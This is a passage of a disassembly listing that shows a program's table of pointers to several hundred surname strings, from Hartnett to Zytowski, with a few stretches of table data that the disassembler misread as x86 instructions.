"Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" ; --------------------------------------------------------------------------- mov esp, 0B40042FEh inc byte ptr [edx+0] mov al, 0FEh inc edx add [eax-5FFFBD02h], ch inc byte ptr [edx+0] cwde inc byte ptr [edx+0] nop inc byte ptr [edx+0] mov dh, bh inc edx add [eax+780042FEh], al inc byte ptr [edx+0] loc_42DED4: ; CODE XREF: ___:loc_42DED4j jo short loc_42DED4 inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ah inc byte ptr [edx+0] sbb dh, bh inc edx add [esi+edi*8], cl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" db 0F8h ; --------------------------------------------------------------------------- loc_42E1A1: ; CODE XREF: ___:0042E1A8j test dword ptr [edx+0], offset aMontilio ; "Montilio" loopne loc_42E1A1 inc edx add al, bl test dword ptr [edx+0], offset aMoreton ; "Moreton" ; --------------------------------------------------------------------------- dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" ; --------------------------------------------------------------------------- clc jmp short loc_42E721 ; --------------------------------------------------------------------------- align 10h dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E731 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-4FFFBD15h], bh jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h test al, 0EBh inc edx add [eax-6BFFBD15h], ah jmp short loc_42E74D ; --------------------------------------------------------------------------- align 4 mov ebx, gs inc edx add [eax+780042EBh], al jmp short loc_42E759 ; --------------------------------------------------------------------------- align 4 dd offset aUrban ; "Urban" ; --------------------------------------------------------------------------- pusha jmp short near ptr loc_42E760+1 ; --------------------------------------------------------------------------- align 10h pop eax loc_42E721: ; CODE XREF: ___:0042E6DDj jmp short loc_42E765 ; --------------------------------------------------------------------------- align 4 dd offset aUzuner ; "Uzuner" ; --------------------------------------------------------------------------- dec eax jmp short loc_42E76D ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 38h ; --------------------------------------------------------------------------- loc_42E731: ; CODE XREF: ___:0042E6EDj jmp short loc_42E775 ; --------------------------------------------------------------------------- align 4 sub al, 0EBh inc edx add [ebx+ebp*8], ah inc edx add [eax], bl jmp short near ptr byte_42E781 ; --------------------------------------------------------------------------- align 10h db 10h ; --------------------------------------------------------------------------- loc_42E741: ; CODE XREF: ___:0042E6FDj jmp short loc_42E785 ; --------------------------------------------------------------------------- align 4 dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" db 0F0h ; --------------------------------------------------------------------------- loc_42E74D: ; CODE XREF: ___:0042E709j jmp far ptr 42h:0EAE00042h ; --------------------------------------------------------------------------- aam 0EAh inc edx add al, cl loc_42E759: ; CODE XREF: ___:0042E715j jmp far ptr 42h:0EAC00042h ; --------------------------------------------------------------------------- loc_42E760: ; CODE XREF: ___:0042E71Dj mov eax, 0AC0042EAh loc_42E765: ; CODE XREF: ___:loc_42E721j jmp far ptr 42h:0EAA00042h ; --------------------------------------------------------------------------- xchg eax, esp loc_42E76D: ; CODE XREF: ___:0042E729j jmp far ptr 42h:0EA880042h ; --------------------------------------------------------------------------- db 7Ch ; --------------------------------------------------------------------------- loc_42E775: ; CODE XREF: ___:loc_42E731j jmp far ptr 42h:0EA700042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" db 60h byte_42E781 db 0EAh, 42h, 0 ; CODE XREF: ___:0042E73Dj ; --------------------------------------------------------------------------- pop eax loc_42E785: ; CODE XREF: ___:loc_42E741j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E868o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E864o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042E860o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E85Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E858o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E854o aZegans db 'Zegans',0 ; DATA XREF: ___:0042E850o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E84Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E848o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E844o aYu db 'Yu',0 ; DATA XREF: ___:0042E840o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E83Co align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E838o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E834o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E830o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042E82Co align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E828o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E824o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042E820o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E81Co aYankee db 'Yankee',0 ; DATA XREF: ___:0042E818o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042E814o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042E810o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042E80Co align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E808o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E804o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042E800o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7FCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042E7F8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7F4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7F0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7ECo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7E8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7E4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7E0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7DCo aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7D8o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7D4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7D0o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E7CCo align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E7C8o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E7C4o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E7C0o aViens db 'Viens',0 ; DATA XREF: ___:0042E7BCo align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E7B8o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E7B4o aViano db 'Viano',0 ; DATA XREF: ___:0042E7B0o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042E7ACo align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E7A8o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E7A4o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E7A0o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E79Co aWhately db 'Whately',0 ; DATA XREF: ___:0042E798o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E794o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E790o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E78Co 